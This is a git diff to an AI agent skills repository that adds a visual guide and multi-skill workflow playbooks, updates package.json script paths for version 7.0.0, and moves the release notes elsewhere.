+┌─────────────────────────────────────────────────────────┐
+│ SKILL.md │
+├─────────────────────────────────────────────────────────┤
+│ │
+│ ┌───────────────────────────────────────────────┐ │
+│ │ FRONTMATTER (Metadata) │ │
+│ │ ───────────────────────────────────────────── │ │
+│ │ --- │ │
+│ │ name: my-skill │ │
+│ │ description: "What this skill does" │ │
+│ │ --- │ │
+│ └───────────────────────────────────────────────┘ │
+│ │
+│ ┌───────────────────────────────────────────────┐ │
+│ │ CONTENT (Instructions) │ │
+│ │ ───────────────────────────────────────────── │ │
+│ │ │ │
+│ │ # Skill Title │ │
+│ │ │ │
+│ │ ## Overview │ │
+│ │ What this skill does... │ │
+│ │ │ │
+│ │ ## When to Use │ │
+│ │ - Use when... │ │
+│ │ │ │
+│ │ ## Instructions │ │
+│ │ 1. First step... │ │
+│ │ 2. Second step... │ │
+│ │ │ │
+│ │ ## Examples │ │
+│ │ ```javascript │ │
+│ │ // Example code │ │
+│ │ ``` │ │
+│ │ │ │
+│ └───────────────────────────────────────────────┘ │
+│ │
+└─────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Installation (Visual Steps)
+
+### Step 1: Clone the Repository
+```
+┌─────────────────────────────────────────┐
+│ Terminal │
+├─────────────────────────────────────────┤
+│ $ git clone https://github.com/ │
+│ sickn33/antigravity-awesome-skills │
+│ .agent/skills │
+│ │
+│ ✓ Cloning into '.agent/skills'... │
+│ ✓ Done! │
+└─────────────────────────────────────────┘
+```
+
+### Step 2: Verify Installation
+```
+┌─────────────────────────────────────────┐
+│ File Explorer │
+├─────────────────────────────────────────┤
+│ 📁 .agent/ │
+│ └── 📁 skills/ │
+│ ├── 📁 brainstorming/ │
+│ ├── 📁 stripe-integration/ │
+│ ├── 📁 react-best-practices/ │
+│ └── ... (1,200+ total) │
+└─────────────────────────────────────────┘
+```
+
+### Step 3: Use a Skill
+```
+┌─────────────────────────────────────────┐
+│ AI Assistant Chat │
+├─────────────────────────────────────────┤
+│ You: @brainstorming help me design │
+│ a todo app │
+│ │
+│ AI: Great! Let me help you think │
+│ through this. First, let's │
+│ understand your requirements... │
+│ │
+│ What's the primary use case? │
+│ a) Personal task management │
+│ b) Team collaboration │
+│ c) Project planning │
+└─────────────────────────────────────────┘
+```
+
+---
+
+## Example: Using a Skill (Step-by-Step)
+
+### Scenario: You want to add Stripe payments to your app
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 1: Identify the Need │
+├─────────────────────────────────────────────────────────────┤
+│ "I need to add payment processing to my app" │
+└─────────────────────────────────────────────────────────────┘
+ ↓
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 2: Find the Right Skill │
+├─────────────────────────────────────────────────────────────┤
+│ Search: "payment" or "stripe" │
+│ Found: @stripe-integration │
+└─────────────────────────────────────────────────────────────┘
+ ↓
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 3: Invoke the Skill │
+├─────────────────────────────────────────────────────────────┤
+│ You: @stripe-integration help me add subscription billing │
+└─────────────────────────────────────────────────────────────┘
+ ↓
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 4: AI Loads Skill Knowledge │
+├─────────────────────────────────────────────────────────────┤
+│ • Stripe API patterns │
+│ • Webhook handling │
+│ • Subscription management │
+│ • Best practices │
+└─────────────────────────────────────────────────────────────┘
+ ↓
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 5: Get Expert Help │
+├─────────────────────────────────────────────────────────────┤
+│ AI provides: │
+│ • Code examples │
+│ • Setup instructions │
+│ • Security considerations │
+│ • Testing strategies │
+└─────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Finding Skills (Visual Guide)
+
+### Method 1: Browse by Category
+```
+README.md → Scroll to "Full Skill Registry" → Find category → Pick skill
+```
+
+### Method 2: Search by Keyword
+```
+Terminal → ls skills/ | grep "keyword" → See matching skills
+```
+
+### Method 3: Use the Index
+```
+Open skills_index.json → Search for keyword → Find skill path
+```
+
+---
+
+## Creating Your First Skill (Visual Workflow)
+
+```
+┌──────────────┐
+│ 1. IDEA │ "I want to share my Docker knowledge"
+└──────┬───────┘
+ │
+ ↓
+┌──────────────┐
+│ 2. CREATE │ mkdir skills/docker-mastery
+└──────┬───────┘ touch skills/docker-mastery/SKILL.md
+ │
+ ↓
+┌──────────────┐
+│ 3. WRITE │ Add frontmatter + content
+└──────┬───────┘ (Use docs/contributors/skill-template.md)
+ │
+ ↓
+┌──────────────┐
+│ 4. TEST │ Copy to .agent/skills/
+└──────┬───────┘ Try: @docker-mastery
+ │
+ ↓
+┌──────────────┐
+│ 5. VALIDATE │ npm run validate
+└──────┬───────┘
+ │
+ ↓
+┌──────────────┐
+│ 6. SUBMIT │ git commit + push + Pull Request
+└──────────────┘
+```
+
+---
+
+## Skill Complexity Levels
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│ SKILL COMPLEXITY │
+├─────────────────────────────────────────────────────────────┤
+│ │
+│ SIMPLE STANDARD COMPLEX │
+│ ────── ──────── ─────── │
+│ │
+│ • 1 file • 1 file • Multiple │
+│ • 100-200 words • 300-800 words • 800-2000 │
+│ • Basic structure • Full structure • Scripts │
+│ • No extras • Examples • Examples │
+│ • Best practices • Templates│
+│ • Docs │
+│ Example: Example: Example: │
+│ git-pushing brainstorming loki-mode │
+│ │
+└─────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## 🎯 Contribution Impact (Visual)
+
+```
+Your Contribution
+ │
+ ├─→ Improves Documentation
+ │ │
+ │ └─→ Helps 1000s of developers understand
+ │
+ ├─→ Creates New Skill
+ │ │
+ │ └─→ Enables new capabilities for everyone
+ │
+ ├─→ Fixes Bug/Typo
+ │ │
+ │ └─→ Prevents confusion for future users
+ │
+ └─→ Adds Example
+ │
+ └─→ Makes learning easier for beginners
+```
+
+---
+
+## Learning Path (Visual Roadmap)
+
+```
+START HERE
+ │
+ ↓
+┌─────────────────┐
+│ Read │
+│ GETTING_STARTED │
+└────────┬────────┘
+ │
+ ↓
+┌─────────────────┐
+│ Try 2-3 Skills │
+│ in AI Assistant │
+└────────┬────────┘
+ │
+ ↓
+┌─────────────────┐
+│ Read │
+│ SKILL_ANATOMY │
+└────────┬────────┘
+ │
+ ↓
+┌─────────────────┐
+│ Study Existing │
+│ Skills │
+└────────┬────────┘
+ │
+ ↓
+┌─────────────────┐
+│ Create Simple │
+│ Skill │
+└────────┬────────┘
+ │
+ ↓
+┌─────────────────┐
+│ Read │
+│ CONTRIBUTING │
+└────────┬────────┘
+ │
+ ↓
+┌─────────────────┐
+│ Submit PR │
+└────────┬────────┘
+ │
+ ↓
+ CONTRIBUTOR! 🎉
+```
+
+---
+
+## 💡 Quick Tips (Visual Cheatsheet)
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│ QUICK REFERENCE │
+├─────────────────────────────────────────────────────────────┤
+│ │
+│ 📥 INSTALL │
+│ git clone [repo] .agent/skills │
+│ │
+│ 🎯 USE │
+│ @skill-name [your request] │
+│ │
+│ 🔍 FIND │
+│ ls skills/ | grep "keyword" │
+│ │
+│ ✅ VALIDATE │
+│ npm run validate │
+│ │
+│ 📝 CREATE │
+│ 1. mkdir skills/my-skill │
+│ 2. Create SKILL.md with frontmatter │
+│ 3. Add content │
+│ 4. Test & validate │
+│ 5. Submit PR │
+│ │
+│ 🆘 HELP │
+│ • docs/users/getting-started.md │
+│ • CONTRIBUTING.md │
+│ • docs/contributors/skill-anatomy.md │
+│ • GitHub Issues - Ask questions │
+│ │
+└─────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Success Stories (Visual Timeline)
+
+```
+Day 1: Install skills
+ │
+ └─→ "Wow, @brainstorming helped me design my app!"
+
+Day 3: Use 5 different skills
+ │
+ └─→ "These skills save me so much time!"
+
+Week 1: Create first skill
+ │
+ └─→ "I shared my expertise as a skill!"
+
+Week 2: Skill gets merged
+ │
+ └─→ "My skill is helping others! 🎉"
+
+Month 1: Regular contributor
+ │
+ └─→ "I've contributed 5 skills and improved docs!"
+```
+
+---
+
+## Next Steps
+
+1. ✅ **Understand** the visual structure
+2. ✅ **Install** skills in your AI tool
+3. ✅ **Try** 2-3 skills from different categories
+4. ✅ **Read** CONTRIBUTING.md
+5. ✅ **Create** your first skill
+6. ✅ **Share** with the community
+
+---
+
+**Visual learner?** This guide should help! Still have questions? Check out:
+- [getting-started.md](getting-started.md) - Text-based intro
+- [skill-anatomy.md](../contributors/skill-anatomy.md) - Detailed breakdown
+- [CONTRIBUTING.md](../../CONTRIBUTING.md) - How to contribute
+
+**Ready to contribute?** You've got this! 💪
diff --git a/docs/users/workflows.md b/docs/users/workflows.md
new file mode 100644
index 00000000..3bafa9b4
--- /dev/null
+++ b/docs/users/workflows.md
@@ -0,0 +1,215 @@
+# Antigravity Workflows
+
+> Workflow playbooks to orchestrate multiple skills with less friction.
+
+## What Is a Workflow?
+
+A workflow is a guided, step-by-step execution path that combines multiple skills for one concrete outcome.
+
+- **Bundles** tell you which skills are relevant for a role.
+- **Workflows** tell you how to use those skills in sequence to complete a real objective.
+
+If bundles are your toolbox, workflows are your execution playbook.
+
+---
+
+## How to Use Workflows
+
+1. Install the repository once (`npx antigravity-awesome-skills`).
+2. Pick a workflow matching your immediate goal.
+3. Execute steps in order and invoke the listed skills in each step.
+4. Keep output artifacts at each step (plan, decisions, tests, validation evidence).
+
+You can combine workflows with bundles from [bundles.md](bundles.md) when you need broader coverage.
+
+---
+
+## Workflow: Ship a SaaS MVP
+
+Build and ship a minimal but production-minded SaaS product.
+
+**Related bundles:** `Essentials`, `Full-Stack Developer`, `QA & Testing`, `DevOps & Cloud`
+
+### Prerequisites
+
+- Local repository and runtime configured.
+- Clear user problem and MVP scope.
+- Basic deployment target selected.
+
+### Steps
+
+1. **Plan the scope**
+ - **Goal:** Define MVP boundaries and acceptance criteria.
+ - **Skills:** [`@brainstorming`](../../skills/brainstorming/), [`@concise-planning`](../../skills/concise-planning/), [`@writing-plans`](../../skills/writing-plans/)
+ - **Prompt example:** `Usa @concise-planning per definire milestones e criteri di accettazione del mio MVP SaaS.`
+
+2. **Build backend and API**
+ - **Goal:** Implement core entities, APIs, and auth baseline.
+ - **Skills:** [`@backend-dev-guidelines`](../../skills/backend-dev-guidelines/), [`@api-patterns`](../../skills/api-patterns/), [`@database-design`](../../skills/database-design/)
+ - **Prompt example:** `Usa @backend-dev-guidelines per creare API e servizi del dominio billing.`
+
+3. **Build frontend**
+ - **Goal:** Ship core user flow with clear UX states.
+ - **Skills:** [`@frontend-developer`](../../skills/frontend-developer/), [`@react-patterns`](../../skills/react-patterns/), [`@frontend-design`](../../skills/frontend-design/)
+ - **Prompt example:** `Usa @frontend-developer per implementare onboarding, empty state e dashboard iniziale.`
+
+4. **Test and validate**
+ - **Goal:** Cover critical user journeys before release.
+ - **Skills:** [`@test-driven-development`](../../skills/test-driven-development/), [`@browser-automation`](../../skills/browser-automation/), `@go-playwright` (optional, Go stack)
+ - **Prompt example:** `Usa @browser-automation per creare test E2E sui flussi signup e checkout.`
+ - **Go note:** Se il progetto QA e tooling sono in Go, preferisci `@go-playwright`.
+
+5. **Ship safely**
+ - **Goal:** Release with observability and rollback plan.
+ - **Skills:** [`@deployment-procedures`](../../skills/deployment-procedures/), [`@observability-engineer`](../../skills/observability-engineer/)
+ - **Prompt example:** `Usa @deployment-procedures per una checklist di rilascio con rollback.`
+
+---
+
+## Workflow: Security Audit for a Web App
+
+Run a focused security review from scope definition to remediation validation.
+
+**Related bundles:** `Security Engineer`, `Security Developer`, `Observability & Monitoring`
+
+### Prerequisites
+
+- Explicit authorization for testing.
+- In-scope targets documented.
+- Logging and environment details available.
+
+### Steps
+
+1. **Define scope and threat model**
+ - **Goal:** Identify assets, trust boundaries, and attack paths.
+ - **Skills:** [`@ethical-hacking-methodology`](../../skills/ethical-hacking-methodology/), [`@threat-modeling-expert`](../../skills/threat-modeling-expert/), [`@attack-tree-construction`](../../skills/attack-tree-construction/)
+ - **Prompt example:** `Usa @threat-modeling-expert per mappare asset critici e trust boundaries della mia web app.`
+
+2. **Review auth and access control**
+ - **Goal:** Detect account takeover and authorization flaws.
+ - **Skills:** [`@broken-authentication`](../../skills/broken-authentication/), [`@auth-implementation-patterns`](../../skills/auth-implementation-patterns/), [`@idor-testing`](../../skills/idor-testing/)
+ - **Prompt example:** `Usa @idor-testing per verificare accessi non autorizzati su endpoint multitenant.`
+
+3. **Assess API and input security**
+ - **Goal:** Uncover high-impact API and injection vulnerabilities.
+ - **Skills:** [`@api-security-best-practices`](../../skills/api-security-best-practices/), [`@api-fuzzing-bug-bounty`](../../skills/api-fuzzing-bug-bounty/), [`@top-web-vulnerabilities`](../../skills/top-web-vulnerabilities/)
+ - **Prompt example:** `Usa @api-security-best-practices per audit endpoint auth, billing e admin.`
+
+4. **Harden and verify**
+ - **Goal:** Convert findings into fixes and verify evidence of mitigation.
+ - **Skills:** [`@security-auditor`](../../skills/security-auditor/), [`@sast-configuration`](../../skills/sast-configuration/), [`@verification-before-completion`](../../skills/verification-before-completion/)
+ - **Prompt example:** `Usa @verification-before-completion per provare che le mitigazioni sono effettive.`
+
+---
+
+## Workflow: Build an AI Agent System
+
+Design and deliver a production-grade agent with measurable reliability.
+
+**Related bundles:** `Agent Architect`, `LLM Application Developer`, `Data Engineering`
+
+### Prerequisites
+
+- Narrow use case with measurable outcomes.
+- Access to model provider(s) and observability tooling.
+- Initial dataset or knowledge corpus.
+
+### Steps
+
+1. **Define target behavior and KPIs**
+ - **Goal:** Set quality, latency, and failure thresholds.
+ - **Skills:** [`@ai-agents-architect`](../../skills/ai-agents-architect/), [`@agent-evaluation`](../../skills/agent-evaluation/), [`@product-manager-toolkit`](../../skills/product-manager-toolkit/)
+ - **Prompt example:** `Usa @agent-evaluation per definire benchmark e criteri di successo del mio agente.`
+
+2. **Design retrieval and memory**
+ - **Goal:** Build reliable retrieval and context architecture.
+ - **Skills:** [`@llm-app-patterns`](../../skills/llm-app-patterns/), [`@rag-implementation`](../../skills/rag-implementation/), [`@vector-database-engineer`](../../skills/vector-database-engineer/)
+ - **Prompt example:** `Usa @rag-implementation per progettare pipeline di chunking, embedding e retrieval.`
+
+3. **Implement orchestration**
+ - **Goal:** Implement deterministic orchestration and tool boundaries.
+ - **Skills:** [`@langgraph`](../../skills/langgraph/), [`@mcp-builder`](../../skills/mcp-builder/), [`@workflow-automation`](../../skills/workflow-automation/)
+ - **Prompt example:** `Usa @langgraph per implementare il grafo agente con fallback e human-in-the-loop.`
+
+4. **Evaluate and iterate**
+ - **Goal:** Improve weak points with a structured loop.
+ - **Skills:** [`@agent-evaluation`](../../skills/agent-evaluation/), [`@langfuse`](../../skills/langfuse/), [`@kaizen`](../../skills/kaizen/)
+ - **Prompt example:** `Usa @kaizen per prioritizzare le correzioni sulle failure modes rilevate dai test.`
+
+---
+
+## Workflow: QA and Browser Automation
+
+Create resilient browser automation with deterministic execution in CI.
+
+**Related bundles:** `QA & Testing`, `Full-Stack Developer`
+
+### Prerequisites
+
+- Test environments and stable credentials.
+- Critical user journeys identified.
+- CI pipeline available.
+
+### Steps
+
+1. **Prepare test strategy**
+ - **Goal:** Scope journeys, fixtures, and execution environments.
+ - **Skills:** [`@e2e-testing-patterns`](../../skills/e2e-testing-patterns/), [`@test-driven-development`](../../skills/test-driven-development/)
+ - **Prompt example:** `Usa @e2e-testing-patterns per definire suite E2E minima ma ad alto impatto.`
+
+2. **Implement browser tests**
+ - **Goal:** Build robust test coverage with stable selectors.
+ - **Skills:** [`@browser-automation`](../../skills/browser-automation/), `@go-playwright` (optional, Go stack)
+ - **Prompt example:** `Usa @go-playwright per implementare browser automation in un progetto Go.`
+
+3. **Triage and harden**
+ - **Goal:** Remove flaky behavior and enforce repeatability.
+ - **Skills:** [`@systematic-debugging`](../../skills/systematic-debugging/), [`@test-fixing`](../../skills/test-fixing/), [`@verification-before-completion`](../../skills/verification-before-completion/)
+ - **Prompt example:** `Usa @systematic-debugging per classificare e risolvere le flakiness in CI.`
+
+---
+
+## Workflow: Design a DDD Core Domain
+
+Model a complex domain coherently, then implement tactical and evented patterns only where justified.
+
+**Related bundles:** `Architecture & Design`, `DDD & Evented Architecture`
+
+### Prerequisites
+
+- Access to at least one domain expert or product owner proxy.
+- Current system context and integration landscape available.
+- Agreement on business goals and key domain outcomes.
+
+### Steps
+
+1. **Assess DDD fit and scope**
+ - **Goal:** Decide whether full DDD, partial DDD, or simple modular architecture is appropriate.
+ - **Skills:** [`@domain-driven-design`](../../skills/domain-driven-design/), [`@architecture-decision-records`](../../skills/architecture-decision-records/)
+ - **Prompt example:** `Use @domain-driven-design to evaluate if full DDD is justified for our billing and fulfillment platform.`
+
+2. **Create strategic model**
+ - **Goal:** Define subdomains, bounded contexts, and ubiquitous language.
+ - **Skills:** [`@ddd-strategic-design`](../../skills/ddd-strategic-design/)
+ - **Prompt example:** `Use @ddd-strategic-design to classify subdomains and propose bounded contexts with ownership.`
+
+3. **Map context relationships**
+ - **Goal:** Define upstream/downstream contracts and anti-corruption boundaries.
+ - **Skills:** [`@ddd-context-mapping`](../../skills/ddd-context-mapping/)
+ - **Prompt example:** `Use @ddd-context-mapping to model Checkout, Billing, and Inventory interactions with clear contract ownership.`
+
+4. **Implement tactical model**
+ - **Goal:** Encode invariants with aggregates, value objects, and domain events.
+ - **Skills:** [`@ddd-tactical-patterns`](../../skills/ddd-tactical-patterns/), [`@test-driven-development`](../../skills/test-driven-development/)
+ - **Prompt example:** `Use @ddd-tactical-patterns to design aggregates and invariants for order lifecycle transitions.`
+
+5. **Adopt evented patterns selectively**
+ - **Goal:** Apply CQRS, event store, projections, and sagas only where complexity and scale require them.
+ - **Skills:** [`@cqrs-implementation`](../../skills/cqrs-implementation/), [`@event-store-design`](../../skills/event-store-design/), [`@projection-patterns`](../../skills/projection-patterns/), [`@saga-orchestration`](../../skills/saga-orchestration/)
+ - **Prompt example:** `Use @cqrs-implementation and @projection-patterns to scale read-side reporting without compromising domain invariants.`
+
+---
+
+## Machine-Readable Workflows
+
+For tooling and automation, workflow metadata is available in [data/workflows.json](../../data/workflows.json).
diff --git a/package-lock.json b/package-lock.json
index 38006896..8b91022d 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -1,15 +1,15 @@
{
"name": "antigravity-awesome-skills",
- "version": "6.12.0",
+ "version": "7.0.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "antigravity-awesome-skills",
- "version": "6.12.0",
+ "version": "7.0.0",
"license": "MIT",
"bin": {
- "antigravity-awesome-skills": "bin/install.js"
+ "antigravity-awesome-skills": "tools/bin/install.js"
},
"devDependencies": {
"yaml": "^2.8.2"
diff --git a/package.json b/package.json
index 3fd61f62..a426eacf 100644
--- a/package.json
+++ b/package.json
@@ -1,27 +1,30 @@
{
"name": "antigravity-awesome-skills",
"version": "7.0.0",
- "description": "1,200+ agentic skills for Claude Code, Gemini CLI, Cursor, Antigravity & more. Installer CLI.",
+ "description": "1,204+ agentic skills for Claude Code, Gemini CLI, Cursor, Antigravity & more. Installer CLI.",
"license": "MIT",
"scripts": {
- "validate": "node scripts/run-python.js scripts/validate_skills.py",
- "validate:strict": "node scripts/run-python.js scripts/validate_skills.py --strict",
- "index": "node scripts/run-python.js scripts/generate_index.py",
- "readme": "node scripts/run-python.js scripts/update_readme.py",
+ "validate": "node tools/scripts/run-python.js tools/scripts/validate_skills.py",
+ "validate:strict": "node tools/scripts/run-python.js tools/scripts/validate_skills.py --strict",
+ "validate:references": "node tools/scripts/run-python.js tools/scripts/validate_references.py",
+ "index": "node tools/scripts/run-python.js tools/scripts/generate_index.py",
+ "readme": "node tools/scripts/run-python.js tools/scripts/update_readme.py",
+ "sync:metadata": "node tools/scripts/run-python.js tools/scripts/sync_repo_metadata.py",
"chain": "npm run validate && npm run index && npm run readme",
- "catalog": "node scripts/build-catalog.js",
+ "sync:all": "npm run sync:metadata && npm run chain",
+ "catalog": "node tools/scripts/build-catalog.js",
"build": "npm run chain && npm run catalog",
- "test": "node scripts/tests/run-test-suite.js",
- "test:local": "node scripts/tests/run-test-suite.js --local",
- "test:network": "node scripts/tests/run-test-suite.js --network",
- "sync:microsoft": "node scripts/run-python.js scripts/sync_microsoft_skills.py",
+ "test": "node tools/scripts/tests/run-test-suite.js",
+ "test:local": "node tools/scripts/tests/run-test-suite.js --local",
+ "test:network": "node tools/scripts/tests/run-test-suite.js --network",
+ "sync:microsoft": "node tools/scripts/run-python.js tools/scripts/sync_microsoft_skills.py",
"sync:all-official": "npm run sync:microsoft && npm run chain",
- "update:skills": "node scripts/run-python.js scripts/generate_index.py && node scripts/copy-file.js skills_index.json web-app/public/skills.json",
- "app:setup": "node scripts/setup_web.js",
- "app:install": "cd web-app && npm install",
- "app:dev": "npm run app:setup && cd web-app && npm run dev",
- "app:build": "npm run app:setup && cd web-app && npm run build",
- "app:preview": "cd web-app && npm run preview"
+ "update:skills": "node tools/scripts/run-python.js tools/scripts/generate_index.py && node tools/scripts/copy-file.js skills_index.json apps/web-app/public/skills.json",
+ "app:setup": "node tools/scripts/setup_web.js",
+ "app:install": "cd apps/web-app && npm install",
+ "app:dev": "npm run app:setup && cd apps/web-app && npm run dev",
+ "app:build": "npm run app:setup && cd apps/web-app && npm run build",
+ "app:preview": "cd apps/web-app && npm run preview"
},
"devDependencies": {
"yaml": "^2.8.2"
@@ -31,10 +34,10 @@
"url": "git+https://github.com/sickn33/antigravity-awesome-skills.git"
},
"bin": {
- "antigravity-awesome-skills": "bin/install.js"
+ "antigravity-awesome-skills": "tools/bin/install.js"
},
"files": [
- "bin"
+ "tools/bin"
],
"keywords": [
"claude-code",
diff --git a/release_notes.md b/release_notes.md
index 9a94e3ab..61939c9f 100644
--- a/release_notes.md
+++ b/release_notes.md
@@ -1,170 +1,3 @@
-# v7.0.0 - 20k Stars Celebration
+# Release Process
-🎉 **20,000 GitHub Stars Milestone Achieved!** 🎉
-
-Thank you to our incredible community for making **Antigravity Awesome Skills** the most comprehensive agentic skills collection ever created. From 0 to 20,000 stars, this journey has been powered by developers, security researchers, data scientists, and AI enthusiasts worldwide.
-
----
-
-## What's New in v7.0.0
-
-### 300+ New Skills from 35+ Community Repositories
-
-This release adds **300+ new skills**, expanding our collection to **1,200+ total skills**. We've integrated skills from the best community repositories, organized into powerful new categories:
-
-## Featured Skill Collections
-
-### 🎨 UI/UX & Frontend (35+ skills)
-- **Complete Three.js Suite**: 10 skills covering 3D graphics fundamentals to advanced shaders
-- **Makepad Framework**: 19 skills for the Rust-based UI framework
-- **Expo/React Native**: 8 skills for cross-platform mobile development
-- **UI Polish Toolkit**: Accessibility fixes, metadata optimization, motion performance
-- **SwiftUI Expert**: Complete iOS development guide with 14 references
-
-### 🤖 Automation & Integration (35+ skills)
-- **Google Workspace**: Full integration with Gmail, Calendar, Docs, Sheets, Drive, Slides
-- **n8n Workflow Automation**: 7 skills for building automated workflows
-- **WhatsApp Automation**: Complete messaging automation suite
-- **Linear Integration**: Project management with Linear
-- **Developer Workflow**: Git automation, PR management, bug hunting from Sentry
-
-### 🛡️ Security & Auditing (40+ skills)
-- **Trail of Bits Collection**: 40+ security skills including Semgrep rules, static analysis, vulnerability detection
-- **ffuf Web Fuzzing**: Advanced web application testing
-- **Security Bluebook Builder**: Create security policies with best practices
-- **Language-Specific Auditors**: Go, Python, Rust security analysis
-
-### 📊 Machine Learning & Data Science (35+ skills)
-- **HuggingFace Integration**: 6 skills for ML model training, datasets, evaluation
-- **Data Science Essentials**: NumPy, Pandas, SciPy, Matplotlib, Scikit-learn
-- **Bioinformatics**: Biopython, Scanpy, UniProt, PubMed integration
-- **Scientific Computing**: 13+ specialized scientific tools
-- **Quantum Computing**: Cirq (Google) and Qiskit (IBM) frameworks
-- **Financial Analysis**: Alpha Vantage, quantitative analysis, risk modeling
-
-### 🏥 Health & Wellness (20+ skills)
-- **Complete Health Suite**: Sleep, nutrition, fitness analyzers
-- **Specialized Analyzers**: Mental health, occupational health, oral health, skin health
-- **TCM Support**: Traditional Chinese Medicine constitution analysis
-- **Wellness Tracking**: Goals, trends, emergency cards
-
-### 🧠 Context Engineering & AI (15+ skills)
-- **Context Patterns**: Fundamentals, degradation, compression, optimization
-- **Multi-Agent Systems**: Architectural patterns for agent coordination
-- **Advanced Evaluation**: LLM-as-judge frameworks with bias mitigation
-
-### 🌐 AWS Development (6+ skills)
-- Agentic AI on AWS, CDK development, cost optimization, serverless EDA
-
-### 📝 Functional Programming (12+ skills)
-- **fp-ts Complete Guide**: Core patterns, React integration, error handling
-- **Quick References**: Types, pipe/flow, Option, Either, TaskEither
-
----
-
-## Community Credits
-
-### Official Team Skills
-We extend our deepest gratitude to the official teams who contributed their expertise:
-
-| Team | Skills Contributed |
-|------|-------------------|
-| **Vercel Labs** | `vercel-deploy-claimable` |
-| **Google Labs** | `enhance-prompt`, `remotion`, `stitch-loop` |
-| **HuggingFace** | Dataset viewer, Datasets library, Evaluation, Model trainer, Paper publisher, Tool builder |
-| **Expo** | UI SwiftUI, UI Jetpack Compose, Tailwind setup, Native UI, API routes, Dev client, CI/CD workflows, Data fetching |
-| **Sentry** | 20 developer workflow skills including commit, PR management, bug hunting |
-| **Trail of Bits** | 40+ security auditing and analysis skills |
-| **Neon** | `claimable-postgres` |
-
-### Individual Contributors
-A massive thank you to the individual developers and maintainers who shared their skills:
-
-| Contributor | Repository | Skills |
-|-------------|------------|--------|
-| **ibelick** | [ui-skills](https://github.com/ibelick/ui-skills) | UI/UX polish (4 skills) |
-| **sanjay3290** | [ai-skills](https://github.com/sanjay3290/ai-skills) | Google Workspace integration (6 skills) |
-| **czlonkowski** | [n8n-skills](https://github.com/czlonkowski/n8n-skills) | n8n automation (7 skills) |
-| **gokapso** | [agent-skills](https://github.com/gokapso/agent-skills) | WhatsApp automation (3 skills) |
-| **wrsmith108** | [linear-claude-skill](https://github.com/wrsmith108/linear-claude-skill), [varlock](https://github.com/wrsmith108/varlock-claude-skill) | Linear integration, secure variables |
-| **robzolkos** | [skill-rails-upgrade](https://github.com/robzolkos/skill-rails-upgrade) | Rails upgrade assistant |
-| **scarletkc** | [vexor](https://github.com/scarletkc/vexor) | Semantic file discovery |
-| **zarazhangrui** | [frontend-slides](https://github.com/zarazhangrui/frontend-slides) | HTML presentations |
-| **AvdLee** | [SwiftUI-Agent-Skill](https://github.com/AvdLee/SwiftUI-Agent-Skill) | SwiftUI development |
-| **CloudAI-X** | [threejs-skills](https://github.com/CloudAI-X/threejs-skills) | Three.js 3D graphics (10 skills) |
-| **ZhangHanDong** | [makepad-skills](https://github.com/ZhangHanDong/makepad-skills) | Makepad framework (19 skills) |
-| **muratcankoylan** | [Agent-Skills-for-Context-Engineering](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering) | Context engineering (13 skills) |
-| **huifer** | [Claude-Ally-Health](https://github.com/huifer/Claude-Ally-Health) | Health & wellness (19 skills) |
-| **K-Dense-AI** | [claude-scientific-skills](https://github.com/K-Dense-AI/claude-scientific-skills) | Scientific computing (80+ skills) |
-| **jthack** | [ffuf_claude_skill](https://github.com/jthack/ffuf_claude_skill) | Web fuzzing |
-| **NotMyself** | [claude-win11-speckit-update-skill](https://github.com/NotMyself/claude-win11-speckit-update-skill) | SpecKit updater |
-| **SHADOWPR0** | [security-bluebook-builder](https://github.com/SHADOWPR0/security-bluebook-builder), [beautiful_prose](https://github.com/SHADOWPR0/beautiful_prose) | Security docs, writing style |
-| **SeanZoR** | [claude-speed-reader](https://github.com/SeanZoR/claude-speed-reader) | Speed reading |
-| **whatiskadudoing** | [fp-ts-skills](https://github.com/whatiskadudoing/fp-ts-skills) | Functional programming (22 skills) |
-| **zxkane** | [aws-skills](https://github.com/zxkane/aws-skills) | AWS development (6 skills) |
-| **Shpigford** | [skills](https://github.com/Shpigford/skills) | Developer tools (8 skills) |
-| **frmoretto** | [clarity-gate](https://github.com/frmoretto/clarity-gate) | RAG verification |
-
-### Top Repository Contributors
-Based on commit history, our heartfelt thanks to:
-
-1. **@sck_0** - 377 commits - Core maintenance and skill curation
-2. **@github-actions[bot]** - 145 commits - CI/CD automation
-3. **@sickn33** - 54 commits - Repository founder and maintainer
-4. **@Mohammad-Faiz-Cloud-Engineer** - 38 commits
-5. **@munir-abbasi** - 31 commits
-6. **@zinzied** - 21 commits
-7. **@ssumanbiswas** - 10 commits
-8. **@Dokhacgiakhoa** - 10 commits
-9. **@IanJ332** - 9 commits
-10. **@jackjin1997** - 9 commits
-
-And 40+ more contributors who made this possible!
-
----
-
-## Statistics
-
-| Metric | Before v7.0.0 | After v7.0.0 |
-|--------|---------------|--------------|
-| **Total Skills** | ~900 | **1,200+** |
-| **New Skills** | - | **~300** |
-| **External Repositories** | ~10 | **35+** |
-| **GitHub Stars** | 20,000 | 20,000+ |
-| **Categories** | 15 | **25+** |
-
----
-
-## Upgrade Instructions
-
-```bash
-# Update to v7.0.0
-git pull origin main
-
-# Reinstall skills
-npx antigravity-awesome-skills
-
-# Or update via npm
-npm install -g antigravity-awesome-skills@latest
-```
-
----
-
-## What's Next?
-
-With 1,200+ skills now available, we're planning:
-- **v7.1**: More community contributions and official vendor skills
-- **Web App v2**: Enhanced search and skill recommendation engine
-- **Skill Bundles**: Curated collections for specific roles (Security Engineer, Data Scientist, etc.)
-
----
-
-## Thank You!
-
-To every star-gazer, contributor, issue-reporter, and skill-user: **Thank you!** This release is a testament to the power of open-source community collaboration.
-
-Here's to the next 20,000 stars! 🚀
-
----
-
-*Released on March 6, 2026 by the Antigr Awesome Skills Team*
+This document moved to [`docs/maintainers/release-process.md`](docs/maintainers/release-process.md).
diff --git a/scripts/sync_repo_metadata.py b/scripts/sync_repo_metadata.py
new file mode 100644
index 00000000..f2631432
--- /dev/null
